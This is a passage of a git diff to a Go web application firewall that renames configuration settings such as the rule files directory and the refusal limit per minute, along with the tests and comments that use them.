"SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES" + banResponse = "SWW_WAF_BAN_RESPONSE" + limitBanDuration = "SWW_WAF_LIMIT_BAN_DURATION" + limitBanRepeatWindow = "SWW_WAF_LIMIT_BAN_REPEAT_WINDOW" + limitBanPermanentAbove = "SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE" + maxBans = "SWW_WAF_MAX_BANS" + banScopeV4Prefix = "SWW_WAF_BAN_SCOPE_V4_PREFIX" + instanceName = "SWW_WAF_INSTANCE_NAME" + logRequestHeaders = "SWW_WAF_LOG_REQUEST_HEADERS" + attackBanDuration = "SWW_WAF_ATTACK_BAN_DURATION" + ruleFilesDir = "SWW_WAF_RULE_FILES_DIR" + coreRuleSetMode = "SWW_WAF_CORE_RULE_SET_MODE" ) // off is the value that switches a setting off. @@ -301,7 +301,7 @@ func startProxyWithGeoJS( // startProxyWithClock is startProxyWithGeoJS with requests counted and // bans made by the time now tells, and returns waf's server as well, whose -// Addr is where waf listens. Unless env sets SWW_WAF_RULES_DIR, it is an empty +// Addr is where waf listens. Unless env sets SWW_WAF_RULE_FILES_DIR, it is an empty // directory, of no rules, and unless it sets SWW_WAF_INSTANCE_NAME, that is app, // the label instance of every metric. func startProxyWithClock( @@ -362,17 +362,19 @@ func serve(t *testing.T, server *waf.Server) { // startRProxy starts rproxy in front of the app at appURL, asking the waf // at wafAddr, with the settings in env on top of the defaults, and returns -// where it listens. What it writes is dropped. SWW_RPROXY_TIMEOUT_MS is a minute unless -// env sets it, so that on a busy host SWW_RPROXY_DEFAULT_DISPOSITION does not decide. +// where it listens. What it writes is dropped. +// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS is a minute unless env sets it, so that +// on a busy host SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION does not +// decide. func startRProxy( t *testing.T, wafAddr, appURL string, env map[string]string, ) string { t.Helper() settings := map[string]string{ - "SWW_RPROXY_WAF_BACKEND": "http://" + wafAddr, - "SWW_RPROXY_UPSTREAM_URL": appURL, - "SWW_RPROXY_TIMEOUT_MS": "60000", + "SWW_RPROXY_WAF_BACKEND": "http://" + wafAddr, + "SWW_RPROXY_UPSTREAM_URL": appURL, + "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS": "60000", } maps.Copy(settings, env) @@ -440,7 +442,7 @@ func newWAFWith( t.Helper() settings := map[string]string{ - rulesDir: t.TempDir(), instanceName: "app", wafMode: off, + ruleFilesDir: t.TempDir(), instanceName: "app", coreRuleSetMode: off, } if geojsURL == "" { settings[lookupSource] = off @@ -448,7 +450,7 @@ func newWAFWith( maps.Copy(settings, env) - cfg, err := config.FromEnvironment(configtest.Viper(settings)) + cfg, err := config.WAFFromEnvironment(configtest.Viper(settings)) if err != nil { t.Fatalf("settings %v: %v", settings, err) } @@ -461,7 +463,7 @@ func newWAFWith( ) ruleFiles, err := rules.Load(rules.Params{ - Dir: cfg.RulesDir, Enabled: cfg.RulesEnabled, ProcessLog: processLog, + Dir: cfg.RuleFilesDir, Enabled: cfg.RuleFilesEnabled, ProcessLog: processLog, }) if err != nil { t.Fatalf("rule files: %v", err) diff --git a/internal/waf/refusallimit.go b/internal/waf/refusallimit.go index bcb552a..cb30c2f 100644 --- a/internal/waf/refusallimit.go +++ b/internal/waf/refusallimit.go @@ -1,6 +1,6 @@ package waf -// The heuristic refusal_limit. It reads SWW_WAF_ERROR_BURST_THRESHOLD and +// The heuristic refusal_limit. It reads SWW_WAF_REFUSALS_LIMIT_PER_MINUTE and // SWW_WAF_BAN_RESPONSE. import ( @@ -14,9 +14,9 @@ import ( // refusalLimit counts the request once it has been answered, if waf // refused it after a rule file match, a trap path or a Core Rule Set match, and // in observe mode if enforce mode would have: more than -// SWW_WAF_ERROR_BURST_THRESHOLD such refusals of the client within a minute break +// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE such refusals of the client within a minute break // a limit, which bans the client. A client in SWW_WAF_ALLOW_NETS, which the -// heuristics skip, is not counted, and nothing is while the threshold is off. +// heuristics skip, is not counted, and nothing is while the limit is off. // Its figures are the window, the count and the limit. type refusalLimit struct{} @@ -28,7 +28,7 @@ func (refusalLimit) check( now time.Time, ) *verdict { cfg := rq.h.config - if cfg.ErrorBurstThreshold == 0 { + if cfg.RefusalsLimitPerMinute == 0 { return nil } @@ -37,7 +37,7 @@ func (refusalLimit) check( } hit, over := rq.h.limiter.CountRefusal(rq.h.clientGroup(rq.client), now, - cfg.ErrorBurstThreshold) + cfg.RefusalsLimitPerMinute) if !over { return nil } diff --git a/internal/waf/refusallimit_test.go b/internal/waf/refusallimit_test.go index 26fa3f8..d1d9d5f 100644 --- a/internal/waf/refusallimit_test.go +++ b/internal/waf/refusallimit_test.go @@ -15,7 +15,7 @@ import ( "sneak.berlin/go/smallwebwaf/internal/waf" ) -const errorBurstThreshold = "SWW_WAF_ERROR_BURST_THRESHOLD" +const refusalsLimitPerMinute = "SWW_WAF_REFUSALS_LIMIT_PER_MINUTE" // refused is a request the tests here send, which waf refuses after a rule // file match. @@ -48,29 +48,29 @@ func (r refused) send(s *sender, from string) logLine { return logLine{} } -// startForErrorBurst is startWithClock with testRules, the metrics token and -// SWW_WAF_ERROR_BURST_THRESHOLD at threshold, and the settings in env. -func startForErrorBurst( - t *testing.T, threshold string, env map[string]string, +// startForRefusalLimit is startWithClock with testRules, the metrics token and +// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE at limit, and the settings in env. +func startForRefusalLimit( + t *testing.T, limit string, env map[string]string, ) (*sender, *clock, *waf.Server) { t.Helper() settings := map[string]string{ - errorBurstThreshold: threshold, - rulesDir: writeRules(t, testRules), - metricsToken: token, + refusalsLimitPerMinute: limit, + ruleFilesDir: writeRules(t, testRules), + metricsToken: token, } maps.Copy(settings, env) return startWithClock(t, "", settings) } -func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) { +func TestRefusalLimitBreaksAtOneOverTheLimit(t *testing.T) { t.Parallel() for _, tc := range []struct { name string - // refusals are four, one over the threshold of three. + // refusals are four, one over the limit of three. refusals []refused // nextAction is the action of the client's next request: the next // request after a ban for a ban rule makes it permanent. @@ -90,7 +90,7 @@ func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) { t.Run(tc.name, func(t *testing.T) { t.Parallel() - s, _, _ := startForErrorBurst(t, "3", nil) + s, _, _ := startForRefusalLimit(t, "3", nil) // Three refusals break nothing, and the app's answers between // them are not counted. @@ -109,8 +109,8 @@ func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) { s.get(client, http.StatusOK, requestlog.ActionForward) } - // The fourth is answered as the others were, breaks the error - // burst, and bans the client. + // The fourth is answered as the others were, breaks the refusal + // limit, and bans the client. line := tc.refusals[3].send(s, client) if line.LimitHit != requestlog.LimitHitMinuteRefusals || line.Offence != requestlog.OffenceLimit { @@ -130,7 +130,7 @@ func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) { func TestRefusalLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) { t.Parallel() - s, _, _ := startForErrorBurst(t, "1", nil) + s, _, _ := startForRefusalLimit(t, "1", nil) const ruleFigures = `{"rule_id": "blocked", "rule_action": "block"}` @@ -146,10 +146,10 @@ func TestRefusalLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) { `{"window": "minute", "count": 2, "limit": 1}`) } -func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) { +func TestRefusalLimitBanNotesHistoryAndMetrics(t *testing.T) { t.Parallel() - s, clk, server := startForErrorBurst(t, "2", nil) + s, clk, server := startForRefusalLimit(t, "2", nil) start := clk.Now() blockRule.send(s, client) @@ -221,18 +221,18 @@ func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) { ) } -func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) { +func TestRefusalLimitIsNotLoweredForAClientWithLowerLimits(t *testing.T) { t.Parallel() geojsURL, _ := startGeoJS(t) s, _, server := startWithClock(t, geojsURL, map[string]string{ - lookupTimeout: "1h", - errorBurstThreshold: "2", - rulesDir: writeRules(t, testRules), - tagLimitPercent: countryTagDEHalf, + asnAndCountryLookupTimeout: "3600000", + refusalsLimitPerMinute: "2", + ruleFilesDir: writeRules(t, testRules), + tagLimitPercent: countryTagDEHalf, }) - // Half of the threshold would be one, which the second refusal is over. + // Half of the limit would be one, which the second refusal is over. for range 2 { line := blockRule.send(s, fromDE) if line.LimitHit != "" { @@ -252,7 +252,7 @@ func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) { } } -func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) { +func TestRefusalLimitDoesNotCountTheAppsAnswers(t *testing.T) { t.Parallel() statuses := map[string]int{ @@ -266,8 +266,8 @@ func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) { w.WriteHeader(statuses[r.URL.Path]) }, map[string]string{ - errorBurstThreshold: "1", - rulesDir: writeRules(t, testRules), + refusalsLimitPerMinute: "1", + ruleFilesDir: writeRules(t, testRules), }, ) @@ -277,7 +277,7 @@ func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) { } } - // The first refusal is one, not over the threshold. + // The first refusal is one, not over the limit. line := blockRule.send(s, client) if line.LimitHit != "" { t.Errorf("log line has limit_hit %q, want none", line.LimitHit) @@ -293,23 +293,23 @@ func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) { wantAlerts(t, queue) } -func TestErrorBurstOffOrAtItsDefault(t *testing.T) { +func TestRefusalLimitOffOrAtItsDefault(t *testing.T) { t.Parallel() for _, tc := range []struct { - threshold string - // broken is whether the 31st refusal breaks the error burst. + limit string + // broken is whether the 31st refusal breaks the refusal limit. broken bool }{ {"", true}, {off, false}, } { - t.Run(errorBurstThreshold+"="+tc.threshold, func(t *testing.T) { + t.Run(refusalsLimitPerMinute+"="+tc.limit, func(t *testing.T) { t.Parallel() - env := map[string]string{rulesDir: writeRules(t, testRules)} - if tc.threshold != "" { - env[errorBurstThreshold] = tc.threshold + env := map[string]string{ruleFilesDir: writeRules(t, testRules)} + if tc.limit != "" { + env[refusalsLimitPerMinute] = tc.limit } s, _, _ := startWithClock(t, "", env) @@ -322,7 +322,7 @@ func TestErrorBurstOffOrAtItsDefault(t *testing.T) { broken := line.LimitHit == requestlog.LimitHitMinuteRefusals if broken != tc.broken { t.Errorf( - "the 31st refusal broke the error burst: %t, want %t", + "the 31st refusal broke the refusal limit: %t, want %t", broken, tc.broken, ) @@ -331,7 +331,7 @@ func TestErrorBurstOffOrAtItsDefault(t *testing.T) { } } -func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) { +func TestRefusalLimitCountsEachClientTheChecksApplyTo(t *testing.T) { t.Parallel() const ( @@ -339,7 +339,7 @@ func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) { exempt = "192.0.2.50" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS ) - s, _, _ := startForErrorBurst(t, "1", map[string]string{ + s, _, _ := startForRefusalLimit(t, "1", map[string]string{ allowNets: allowed, rateLimitExemptNets: exempt, }) @@ -367,10 +367,10 @@ func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) { s.get(exempt, http.StatusForbidden, requestlog.ActionTemporarilyBanned) } -func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) { +func TestRefusalLimitBanSetsTheRefusalsBackToZero(t *testing.T) { t.Parallel() - s, clk, _ := startForErrorBurst( + s, clk, _ := startForRefusalLimit( t, "1", map[string]string{limitBanDuration: "1s"}, @@ -389,13 +389,13 @@ func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) { } } -func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) { +func TestObserveModeLogsAndAlertsABrokenRefusalLimit(t *testing.T) { t.Parallel() s, clk, server, queue := startWithAlerts(t, map[string]string{ - mode: observe, - errorBurstThreshold: "1", - rulesDir: writeRules(t, testRules), + mode: observe, + refusalsLimitPerMinute: "1", + ruleFilesDir: writeRules(t, testRules), }) start := clk.Now() held := bans.Ban{ diff --git a/internal/waf/reputation.go b/internal/waf/reputation.go index 353fc82..c6692d7 100644 --- a/internal/waf/reputation.go +++ b/internal/waf/reputation.go @@ -8,7 +8,7 @@ import ( "sneak.berlin/go/smallwebwaf/internal/bans" ) -// deny is the SWW_WAF_BLOCKLIST_ACTION and the SWW_WAF_REPUTATION_ACTION that +// deny is the SWW_WAF_BLOCKLIST_ACTION and the SWW_WAF_DNSBL_ABUSEIPDB_ACTION that // refuses the requests of a client a source lists. const deny = "deny" diff --git a/internal/waf/reputation_test.go b/internal/waf/reputation_test.go index fca0596..7bb9335 100644 --- a/internal/waf/reputation_test.go +++ b/internal/waf/reputation_test.go @@ -28,7 +28,7 @@ const ( asnLimitPercentURL = "SWW_WAF_ASN_LIMIT_PERCENT_URL" ) -// The actions of SWW_WAF_BLOCKLIST_ACTION and SWW_WAF_REPUTATION_ACTION: +// The actions of SWW_WAF_BLOCKLIST_ACTION and SWW_WAF_DNSBL_ABUSEIPDB_ACTION: // limitHalf gives a listed client half of every limit, and limitQuarter a // quarter. const ( @@ -155,7 +155,7 @@ func TestReputationRefusalNamesItsHeuristicAndWhatListedTheClient( "dnsbl", map[string]string{ dnsblZones: dnsblZone, dnsblResolver: noResolver, - reputationAction: actionDeny, + dnsblAbuseIPDBAction: actionDeny, }, func(_ *testing.T, server *waf.Server) { loadVerdicts(server, map[string][]string{client: {dnsblZone}}) @@ -164,7 +164,7 @@ func TestReputationRefusalNamesItsHeuristicAndWhatListedTheClient( }, { "abuseipdb", - map[string]string{abuseIPDBKey: accountKey, reputationAction: actionDeny}, + map[string]string{abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionDeny}, func(_ *testing.T, server *waf.Server) { loadScores(server, map[string]int64{client: 80}) }, @@ -308,8 +308,8 @@ func TestASNLimitPercentFileCountsAsTheSettingDoesTheLowerWinning( }, {"none, for an AS number the file does not list", nil, asnKP + ":25", none, none}, { - "SWW_WAF_ASN_BYTES_PERCENT's in place of the file's for the byte limits", - map[string]string{asnBytesPercent: asnDE + ":100"}, asnDEQuarter, fromURL, none, + "SWW_WAF_ASN_BYTES_LIMIT_PERCENT's in place of the file's for the byte limits", + map[string]string{asnBytesLimitPercent: asnDE + ":100"}, asnDEQuarter, fromURL, none, }, } { t.Run(tc.name, func(t *testing.T) { @@ -417,9 +417,9 @@ func TestEachBlocklistThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted( // The DNSBL settings. const ( - dnsblZones = "SWW_WAF_DNSBL_ZONES" - dnsblResolver = "SWW_WAF_DNSBL_RESOLVER" - reputationAction = "SWW_WAF_REPUTATION_ACTION" + dnsblZones = "SWW_WAF_DNSBL_ZONES" + dnsblResolver = "SWW_WAF_DNSBL_RESOLVER" + dnsblAbuseIPDBAction = "SWW_WAF_DNSBL_ABUSEIPDB_ACTION" ) // The DNSBL zones these tests name, which are never asked about the @@ -432,7 +432,7 @@ const ( noResolver = "127.0.0.1:9" ) -func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) { +func TestEachDNSBLAbuseIPDBActionForAClientADNSBLZoneLists(t *testing.T) { t.Parallel() forward, denied := requestlog.ActionForward, requestlog.ActionClientDenied @@ -453,7 +453,7 @@ func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) { // Half of 4 requests a minute: the third breaks the limit. limitHalf, []int{http.StatusOK, http.StatusOK, http.StatusForbidden}, []string{forward, forward, requestlog.ActionClientIsRateLimited}, - "50 from " + reputationAction, + "50 from " + dnsblAbuseIPDBAction, }, { actionLog, []int{http.StatusOK, http.StatusOK, http.StatusOK}, @@ -465,7 +465,7 @@ func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) { s, server, _ := startWithLookups(t, map[string]string{ rateLimitPerMinute: fourAMinute, dnsblZones: dnsblZone + "," + otherZone, - dnsblResolver: noResolver, reputationAction: tc.action, + dnsblResolver: noResolver, dnsblAbuseIPDBAction: tc.action, }) listedBy := map[string][]string{ fromDE: {dnsblZone, otherZone}, fromKP: {otherZone}, @@ -523,7 +523,7 @@ func TestDNSBLZonesComeAfterTheBlocklistsAndSkipAllowNets(t *testing.T) { s, server, queue := startWithLookups(t, map[string]string{ blocklistURLs: dropURL, dnsblZones: dnsblZone, dnsblResolver: noResolver, - reputationAction: actionDeny, allowNets: fromDE, + dnsblAbuseIPDBAction: actionDeny, allowNets: fromDE, }) loadLists(t, server, map[string][]string{dropURL: {fromKP}}) loadVerdicts( @@ -566,7 +566,7 @@ func TestReputationSourcesTagTheRequestWhateverTheirAction(t *testing.T) { { "dnsbl", map[string]string{ - dnsblZones: dnsblZone, dnsblResolver: noResolver, reputationAction: actionLog, + dnsblZones: dnsblZone, dnsblResolver: noResolver, dnsblAbuseIPDBAction: actionLog, }, func(server *waf.Server) { loadVerdicts(server, map[string][]string{fromDE: {dnsblZone}}) @@ -575,7 +575,7 @@ func TestReputationSourcesTagTheRequestWhateverTheirAction(t *testing.T) { }, { abuseipdb, - map[string]string{abuseIPDBKey: accountKey, reputationAction: actionLog}, + map[string]string{abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionLog}, func(server *waf.Server) { loadScores(server, map[string]int64{fromDE: 80}) }, @@ -602,7 +602,7 @@ func TestObserveModeForwardsAClientADNSBLZoneDeniesAndAlertsIt( t.Parallel() s, server, queue := startWithLookups(t, map[string]string{ - dnsblZones: dnsblZone, dnsblResolver: noResolver, reputationAction: actionDeny, + dnsblZones: dnsblZone, dnsblResolver: noResolver, dnsblAbuseIPDBAction: actionDeny, mode: observe, }) loadVerdicts(server, map[string][]string{fromDE: {dnsblZone}}) @@ -617,33 +617,33 @@ func TestObserveModeForwardsAClientADNSBLZoneDeniesAndAlertsIt( } } -func TestReputationLimitTakesPartInTheLowestPercentageOfEveryLimit( +func TestDNSBLAbuseIPDBLimitTakesPartInTheLowestPercentageOfEveryLimit( t *testing.T, ) { t.Parallel() for _, tc := range []struct { - blocklistAction, reputationAction string + blocklistAction, dnsblAbuseIPDBAction string // want is the request's rate_limit_percent and bytes_limit_percent, as // percentText gives them. want string }{ - {limitHalf, limitQuarter, "25 from " + reputationAction}, + {limitHalf, limitQuarter, "25 from " + dnsblAbuseIPDBAction}, {limitQuarter, limitHalf, "25 from " + blocklistAction}, // The blocklist's, the first of two alike. {limitQuarter, limitQuarter, "25 from " + blocklistAction}, - {actionLog, limitQuarter, "25 from " + reputationAction}, + {actionLog, limitQuarter, "25 from " + dnsblAbuseIPDBAction}, {actionLog, actionLog, none}, } { t.Run( - tc.blocklistAction+" "+tc.reputationAction, + tc.blocklistAction+" "+tc.dnsblAbuseIPDBAction, func(t *testing.T) { t.Parallel() s, server, _ := startWithLookups(t, map[string]string{ blocklistURLs: dropURL, blocklistAction: tc.blocklistAction, dnsblZones: dnsblZone, dnsblResolver: noResolver, - reputationAction: tc.reputationAction, + dnsblAbuseIPDBAction: tc.dnsblAbuseIPDBAction, }) loadLists(t, server, map[string][]string{dropURL: {fromDE}}) loadVerdicts( @@ -676,7 +676,7 @@ func TestEachZoneThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted( s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{ dnsblZones: dnsblZone + "," + otherZone, dnsblResolver: noResolver, - reputationAction: actionLog, metricsToken: token, + dnsblAbuseIPDBAction: actionLog, metricsToken: token, }) loadVerdicts(server, map[string][]string{ fromDE: {dnsblZone, otherZone}, unplaced: nil, @@ -740,7 +740,7 @@ func TestZoneKeyIsMaskedInTheLogTheAlertAndTheMetrics(t *testing.T) { ) s, server, queue := startWithLookups(t, map[string]string{ - dnsblZones: keyed, dnsblResolver: noResolver, reputationAction: actionLog, + dnsblZones: keyed, dnsblResolver: noResolver, dnsblAbuseIPDBAction: actionLog, metricsToken: token, }) loadVerdicts(server, map[string][]string{fromDE: {keyed}, unplaced: nil}) @@ -849,7 +849,7 @@ func TestOnlyAClientThatHasCommittedAnOffenceIsCheckedWithAbuseIPDB( forward := requestlog.ActionForward s, clk, server, _ := startWithLookupsAndClock(t, map[string]string{ - abuseIPDBKey: accountKey, rateLimitPerMinute: "2", reputationAction: actionLog, + abuseIPDBKey: accountKey, rateLimitPerMinute: "2", dnsblAbuseIPDBAction: actionLog, }) // Neither fromDE, until it breaks a rate limit, nor fromKP, which never @@ -892,7 +892,7 @@ func TestIPv6ClientCostsOneAbuseIPDBCheckWhicheverOfItsAddressesSends( } s, clk, server := startWithClock(t, "", map[string]string{ - abuseIPDBKey: accountKey, reputationAction: actionLog, + abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionLog, rateLimitPerMinute: strconv.Itoa(len(addresses)), }) @@ -961,9 +961,12 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest( t.Parallel() s, clk, server := startWithClock(t, "", map[string]string{ - abuseIPDBKey: accountKey, reputationAction: actionLog, - rulesDir: writeRules(t, testRules), attackBanDuration: "1h", - trapPaths: trapPathList, wafMode: block, + abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionLog, + ruleFilesDir: writeRules( + t, + testRules, + ), attackBanDuration: "1h", + trapPaths: trapPathList, coreRuleSetMode: block, }) s.request(client, tc.path, tc.status, tc.action) @@ -986,7 +989,7 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest( } } -func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum( +func TestEachDNSBLAbuseIPDBActionForAClientAbuseIPDBScoresAtOrOverTheMinimum( t *testing.T, ) { t.Parallel() @@ -1009,7 +1012,7 @@ func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum( // Half of 4 requests a minute: the third breaks the limit. limitHalf, []int{http.StatusOK, http.StatusOK, http.StatusForbidden}, []string{forward, forward, requestlog.ActionClientIsRateLimited}, - "50 from " + reputationAction, + "50 from " + dnsblAbuseIPDBAction, }, { actionLog, []int{http.StatusOK, http.StatusOK, http.StatusOK}, @@ -1021,7 +1024,7 @@ func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum( s, server, _ := startWithLookups(t, map[string]string{ rateLimitPerMinute: fourAMinute, abuseIPDBKey: accountKey, - reputationAction: tc.action, + dnsblAbuseIPDBAction: tc.action, }) // At SWW_WAF_ABUSEIPDB_MIN_SCORE, 75 by default, and just under it. loadScores(server, map[string]int64{fromDE: 75, fromKP: 74}) @@ -1068,7 +1071,7 @@ func TestAbuseIPDBHitRaisesAnAlertWithTheScoreOncePerCooldownAndIsCounted( t.Parallel() s, server, queue := startWithLookups(t, map[string]string{ - abuseIPDBKey: accountKey, reputationAction: actionLog, metricsToken: token, + abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionLog, metricsToken: token, }) loadScores(server, map[string]int64{fromDE: 90}) @@ -1159,10 +1162,10 @@ func TestBanNotesNameEachReputationSourceThatListedTheClient(t *testing.T) { t.Parallel() s, _, server, queue := startWithAlerts(t, map[string]string{ - rateLimitPerMinute: "1", rulesDir: writeRules(t, testRules), + rateLimitPerMinute: "1", ruleFilesDir: writeRules(t, testRules), blocklistURLs: dropURL, blocklistAction: actionLog, dnsblZones: dnsblZone, dnsblResolver: noResolver, - abuseIPDBKey: accountKey, reputationAction: actionLog, + abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionLog, }) // Every source lists client, and none otherClient, whose score is // under SWW_WAF_ABUSEIPDB_MIN_SCORE, 75 by default. diff --git a/internal/waf/request.go b/internal/waf/request.go index 311e06b..5c94377 100644 --- a/internal/waf/request.go +++ b/internal/waf/request.go @@ -44,7 +44,7 @@ type decision struct { lookedUp bool lookupAnswer lookup.Answer // skippedLookupWait is true for a request that did not wait for GeoJS and - // found no answer kept. SWW_WAF_UNKNOWN_LIMIT_PERCENT does not apply to it, + // found no answer kept. SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT does not apply to it, // so that not waiting never lowers its client's limits. skippedLookupWait bool // counted is true for a request the rate limits counted, whose bytes @@ -367,13 +367,13 @@ func (rq *request) countAnomalies() { } // anomalyThresholdsSet reports whether any anomaly threshold is set. -func anomalyThresholdsSet(cfg *config.Config) bool { +func anomalyThresholdsSet(cfg *config.WAF) bool { off := anomaly.Thresholds{} return cfg.AnomalyClient != off || cfg.AnomalyNet != off || cfg.AnomalyASN != off || cfg.AnomalyTotal != off || - cfg.AnomalyWatch != off + cfg.AnomalyWatchedNet != off } // answerAtTheEnd returns, for a client that was looked up, the lookup's diff --git a/internal/waf/rulefiles.go b/internal/waf/rulefiles.go index 0a1202d..b3c55d2 100644 --- a/internal/waf/rulefiles.go +++ b/internal/waf/rulefiles.go @@ -1,7 +1,7 @@ package waf // The heuristic rule_files. It reads the rules of the rule files, which -// SWW_WAF_RULES_DIR and SWW_WAF_RULES_ENABLED name. +// SWW_WAF_RULE_FILES_DIR and SWW_WAF_RULE_FILES_ENABLED name. import ( "context" diff --git a/internal/waf/rulefiles_test.go b/internal/waf/rulefiles_test.go index 9adcd09..b3d3f3b 100644 --- a/internal/waf/rulefiles_test.go +++ b/internal/waf/rulefiles_test.go @@ -25,8 +25,8 @@ func TestEachRuleAction(t *testing.T) { t.Parallel() s, clk, server := startWithClock(t, "", map[string]string{ - rulesDir: writeRules(t, "noted path log ^/\n"+testRules), - banResponse: "429", + ruleFilesDir: writeRules(t, "noted path log ^/\n"+testRules), + banResponse: "429", }) start := clk.Now() @@ -112,7 +112,7 @@ func TestEachRuleActionAddsTheExploitSignatureTag(t *testing.T) { t.Parallel() s, _, _ := startWithClock(t, "", map[string]string{ - rulesDir: writeRules(t, "noted path log ^/noted$\n"+testRules), + ruleFilesDir: writeRules(t, "noted path log ^/noted$\n"+testRules), }) wantTags( @@ -129,7 +129,7 @@ func TestRuleRefusalNamesItsHeuristicAndTheRule(t *testing.T) { t.Parallel() s, _, _ := startWithClock(t, "", map[string]string{ - rulesDir: writeRules(t, "noted path log ^/\n"+testRules), + ruleFilesDir: writeRules(t, "noted path log ^/\n"+testRules), }) line := s.request(client, "/blocked", http.StatusForbidden, @@ -155,7 +155,7 @@ func TestNextClearSignOfAttackAfterABanBansPermanently(t *testing.T) { t.Parallel() s, clk, _ := startWithClock(t, "", map[string]string{ - rulesDir: writeRules(t, testRules), + ruleFilesDir: writeRules(t, testRules), attackBanDuration: "1h", }) @@ -193,7 +193,7 @@ func TestRulesComeAfterTheOtherChecks(t *testing.T) { ) s, _, server := startWithClock(t, "", map[string]string{ - rulesDir: writeRules(t, testRules), + ruleFilesDir: writeRules(t, testRules), allowNets: allowed, rateLimitExemptNets: exempt, rateLimitPerMinute: "1", @@ -234,8 +234,8 @@ func TestObserveModeLogsWhatTheRulesWouldDo(t *testing.T) { t.Parallel() s, _, server := startWithClock(t, "", map[string]string{ - rulesDir: writeRules(t, testRules), - mode: observe, + ruleFilesDir: writeRules(t, testRules), + mode: observe, }) line := s.request( @@ -273,7 +273,7 @@ func TestMetricsCountRuleMatchesAndBansForAnAttack(t *testing.T) { t.Parallel() s, _, _ := startWithClock(t, "", map[string]string{ - rulesDir: writeRules(t, testRules), + ruleFilesDir: writeRules(t, testRules), metricsToken: token, }) diff --git a/internal/waf/staticlists_test.go b/internal/waf/staticlists_test.go index 67c9e51..19d7182 100644 --- a/internal/waf/staticlists_test.go +++ b/internal/waf/staticlists_test.go @@ -156,11 +156,11 @@ func TestRateLimitExemptNetsAreNeitherCountedNorRefused(t *testing.T) { app := startApp(t, func(http.ResponseWriter, *http.Request) {}) geojsURL, _ := startGeoJS(t) addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{ - trustedProxies: trustLocalhost, - lookupTimeout: "1h", - rateLimitExemptNets: listedAddr + "," + fromKP, - tagDeny: denyKP, - rateLimitPerMinute: "1", + trustedProxies: trustLocalhost, + asnAndCountryLookupTimeout: "3600000", + rateLimitExemptNets: listedAddr + "," + fromKP, + tagDeny: denyKP, + rateLimitPerMinute: "1", }) // listedAddr's requests are neither refused nor counted, so the first diff --git a/internal/waf/tagdeny_test.go b/internal/waf/tagdeny_test.go index f735f52..b83ef24 100644 --- a/internal/waf/tagdeny_test.go +++ b/internal/waf/tagdeny_test.go @@ -70,7 +70,7 @@ func TestTagDenyRefusesAMixedCaseZoneByItsLowerCaseTag(t *testing.T) { // The zone's tag is in lower case, however SWW_WAF_DNSBL_ZONES writes it. s, server, _ := startWithLookups(t, map[string]string{ dnsblZones: mixedCaseZone, dnsblResolver: noResolver, - reputationAction: actionLog, tagDeny: "dnsbl=" + dnsblZone, + dnsblAbuseIPDBAction: actionLog, tagDeny: "dnsbl=" + dnsblZone, }) loadVerdicts(server, map[string][]string{fromDE: {mixedCaseZone}}) @@ -86,7 +86,7 @@ func TestTagDenyRefusesAnExploitSignatureOfARuleThatOnlyLogs(t *testing.T) { t.Parallel() s, _, _ := startWithClock(t, "", map[string]string{ - rulesDir: writeRules( + ruleFilesDir: writeRules( t, "noted path log ^/\n", ), tagDeny: "exploitsignature", diff --git a/internal/waf/trappaths_test.go b/internal/waf/trappaths_test.go index 4f8ede5..83eb6f3 100644 --- a/internal/waf/trappaths_test.go +++ b/internal/waf/trappaths_test.go @@ -25,10 +25,10 @@ func TestTrapPathBansAsABanRuleDoes(t *testing.T) { // A block rule for the same path: the trap path comes first. s, clk, server := startWithClock(t, "", map[string]string{ - trapPaths: trapPathList, - rulesDir: writeRules(t, `wp path block ^/wp-login\.php$`), - allowNets: allowed, - banResponse: "429", + trapPaths: trapPathList, + ruleFilesDir: writeRules(t, `wp path block ^/wp-login\.php$`), + allowNets: allowed, + banResponse: "429", }) start := clk.Now() @@ -153,8 